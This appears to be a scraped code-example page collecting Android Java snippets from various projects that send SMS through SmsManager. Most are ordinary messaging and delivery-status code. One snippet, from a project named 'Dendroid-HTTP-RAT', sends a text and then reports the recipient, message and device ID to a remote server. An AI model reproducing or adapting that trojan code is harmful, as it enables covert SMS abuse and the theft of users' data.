@Override
protected Integer doInBackground(String... params) {
//Log.d(TAG, "About to send " + params[1] + " to " + params[0]);
SmsManager smsm = SmsManager.getDefault();
ArrayList<String> divided = smsm.divideMessage(params[1]);
Log.d(TAG, "Message divided into " + divided.size() + " parts.");
// could wait for the message to _actually_ be sent using PendingIntents
if(divided.size() > 1) {
smsm.sendMultipartTextMessage(params[0], null, divided, null, null);
}
else {
smsm.sendTextMessage(params[0], null, params[1], null, null);
}
Log.d(TAG, "Messages sent successfully, probably.");
return divided.size();
}
java类android.telephony.SmsManager的实例源码
SmsSendThread.java 文件源码
项目:shexter
阅读 19
收藏 0
点赞 0
评论 0
Utils.java 文件源码
项目:SprintNBA
阅读 30
收藏 0
点赞 0
评论 0
/**
* 发送短信息
*
* @param phoneNumber 接收号码
* @param content 短信内容
*/
private void toSendSMS(Context context, String phoneNumber, String content) {
if (context == null) {
throw new IllegalArgumentException("context can not be null.");
}
PendingIntent sentIntent = PendingIntent.getBroadcast(context, 0, new Intent(), 0);
SmsManager smsManager = SmsManager.getDefault();
if (content.length() >= 70) {
//短信字数大于70,自动分条
List<String> ms = smsManager.divideMessage(content);
for (String str : ms) {
//短信发送
smsManager.sendTextMessage(phoneNumber, null, str, sentIntent, null);
}
} else {
smsManager.sendTextMessage(phoneNumber, null, content, sentIntent, null);
}
}
SmsDetailedView.java 文件源码
项目:HatkeMessenger
阅读 17
收藏 0
点赞 0
评论 0
private void sendSMSNow() {
BroadcastReceiver sendBroadcastReceiver = new SentReceiver();
BroadcastReceiver deliveryBroadcastReciever = new DeliverReceiver();
String SENT = "SMS_SENT";
String DELIVERED = "SMS_DELIVERED";
PendingIntent sentPI = PendingIntent.getBroadcast(this, 0, new Intent(SENT), 0);
PendingIntent deliveredPI = PendingIntent.getBroadcast(this, 0, new Intent(DELIVERED), 0);
registerReceiver(sendBroadcastReceiver, new IntentFilter(SENT));
registerReceiver(deliveryBroadcastReciever, new IntentFilter(DELIVERED));
try {
SmsManager sms = SmsManager.getDefault();
sms.sendTextMessage(contact, null, message, sentPI, deliveredPI);
}catch (Exception e){
Toast.makeText(this,getString(R.string.cant_send),Toast.LENGTH_SHORT).show();
}
}
SentReceiver.java 文件源码
项目:HatkeMessenger
阅读 13
收藏 0
点赞 0
评论 0
@Override
public void onReceive(Context context, Intent arg1) {
switch (getResultCode()) {
case Activity.RESULT_OK:
Toast.makeText(context, "SMS Sent", Toast.LENGTH_SHORT).show();
break;
case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
Toast.makeText(context, "Generic failure",
Toast.LENGTH_SHORT).show();
break;
case SmsManager.RESULT_ERROR_NO_SERVICE:
Toast.makeText(context, "No service",
Toast.LENGTH_SHORT).show();
break;
case SmsManager.RESULT_ERROR_NULL_PDU:
Toast.makeText(context, "Null PDU", Toast.LENGTH_SHORT)
.show();
break;
case SmsManager.RESULT_ERROR_RADIO_OFF:
Toast.makeText(context, "No network",
Toast.LENGTH_SHORT).show();
break;
}
}
GpsTraceService.java 文件源码
项目:MobileGuard
阅读 26
收藏 0
点赞 0
评论 0
@Override
public void onLocationChanged(Location location) {
// get location info
double altitude = location.getAltitude();
double longitude = location.getLongitude();
double latitude = location.getLatitude();
StringBuilder buffer = new StringBuilder();
buffer.append("altitude:" + altitude + "\n");
buffer.append("longitude:" + longitude + "\n");
buffer.append("latitude:" + latitude + "\n");
// get safe phone number
String safePhone = ConfigUtils.getString(GpsTraceService.this, Constant.KEY_SAFE_PHONE, "");
if(TextUtils.isEmpty(safePhone)) {
Log.e(TAG, "safe phone is empty");
return;
}
// send location info to safe phone number
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage(safePhone, null, buffer.toString(), null, null);
System.out.println("success send a sms to " + safePhone + ":\n" + buffer.toString());
// stop service
stopSelf();
}
MyService.java 文件源码
项目:Dendroid-HTTP-RAT
阅读 25
收藏 0
点赞 0
评论 0
@Override
protected String doInBackground(String... params) {
boolean isNumeric = i.matches("[0-9]+");
if(isNumeric)
{
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage(i, null, k, null, null);
try {
getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "To: " + i + " Message: " + k);
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
}
return "Executed";
}
MainActivity.java 文件源码
项目:AndroidBasicCommonDemos
阅读 15
收藏 0
点赞 0
评论 0
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
sender = (TextView) findViewById(R.id.sender);
content = (TextView) findViewById(R.id.content);
receiveFilter = new IntentFilter();
receiveFilter.addAction("android.provider.Telephony.SMS_RECEIVED");
messageReceiver = new MessageReceiver();
registerReceiver(messageReceiver,receiveFilter);
send = (Button) findViewById(R.id.send);
send.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage("15067151195",null,"短信内容",null,null);
}
});
}
SMSUtils.java 文件源码
项目:android.java
阅读 32
收藏 0
点赞 0
评论 0
public static void sendSMS(Context context, String phoneNumber, ArrayList<String> text) {
String stringText = AgTextUtil.listToString(text);
Intent messageIntent = new Intent(DELIVER_RECEIVER_FILTER);
messageIntent.putExtra(SENDING_MESSAGE_KEY, stringText);
messageIntent.putExtra(SENDING_PHONE_NUMBER, phoneNumber);
PendingIntent deliveredPI = PendingIntent.getBroadcast(context, 0, messageIntent, 0);
ArrayList<PendingIntent> list = new ArrayList<>();
list.add(deliveredPI);
context.registerReceiver(deliverReceiver, new IntentFilter(DELIVER_RECEIVER_FILTER));
SmsManager sms = SmsManager.getDefault();
try {
sms.sendMultipartTextMessage(phoneNumber,
null,
text,
new ArrayList<PendingIntent>(),
list);
}catch (Exception e) {
unregisterReceiver(context);
GuiUtils.displayOkMessage(context, String.format(context.getString(R.string.error_send_sms), stringText), null);
}
}
SmsSend_Fragment.java 文件源码
项目:ContactList
阅读 15
收藏 0
点赞 0
评论 0
private void sendSMS(String number, String message) {
String SENT = "sms_sent";
String DELIVERED = "sms_delivered";
PendingIntent sentPI = PendingIntent.getActivity(getActivity(), 0,
new Intent(SENT), 0);
PendingIntent deliveredPI = PendingIntent.getActivity(getActivity(), 0,
new Intent(DELIVERED), 0);
SMSModel smsModel = new SMSModel();
smsModel.setAddress(number);
smsModel.setBody(message);
smsModel.setType(String.valueOf(2));
smsModel.setRead(1);
if (isDefaultSms()) {
smsHelper.insertToSmsContent(smsModel);
}
SmsManager smsm = SmsManager.getDefault();
Log.e(TAG, number + ":" + message);
smsm.sendTextMessage(number, null, message, sentPI, deliveredPI);
}
SMSUtils.java 文件源码
项目:remotedroid
阅读 28
收藏 0
点赞 0
评论 0
public void sendSMS(String address, String content) {
lastSentSMSStatus = -1;
SmsManager smsManager = SmsManager.getDefault();
PendingIntent sentPI = PendingIntent.getBroadcast(mContext, 0,
new Intent("SMS_SENT"), 0);
mContext.registerReceiver(new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
lastSentSMSStatus = getResultCode();
Toast.makeText(mContext,"message sent", Toast.LENGTH_LONG).show();
}
}, new IntentFilter("SMS_SENT"));
smsManager.sendTextMessage("tel:".concat(address), null, content, sentPI, null);
}